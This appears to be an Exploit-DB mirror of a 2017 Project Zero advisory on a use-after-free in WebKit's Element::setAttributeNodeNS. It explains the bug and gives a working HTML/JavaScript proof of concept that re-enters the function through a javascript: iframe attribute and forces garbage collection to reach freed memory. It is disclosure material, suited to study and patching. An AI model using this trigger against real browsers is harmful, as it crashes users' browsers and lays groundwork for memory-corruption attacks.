- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 42108
- Проверка EDB
-
- Пройдено
- Автор
- GOOGLE SECURITY RESEARCH
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- N/A
- Дата публикации
- 2017-06-01
WebKit - 'Element::setAttributeNodeNS' Use-After-Free
HTML:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1187
Here's a snippet of Element::setAttributeNodeNS.
ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
attrNode.attachToElement(*this);
treeScope().adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(*this).append(&attrNode);
return WTFMove(oldAttrNode);
}
|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.
PoC:
-->
<body>
<script>
function gc() {
for (let i = 0; i < 0x40; i++) {
new ArrayBuffer(0x1000000);
}
}
window.callback = () => {
window.callback = null;
d.setAttributeNodeNS(src);
f.setAttributeNodeNS(document.createAttribute('src'));
};
let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';
let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;
gc();
alert(d.attributes[0].ownerElement);
</script>
</body>
- Источник
- www.exploit-db.com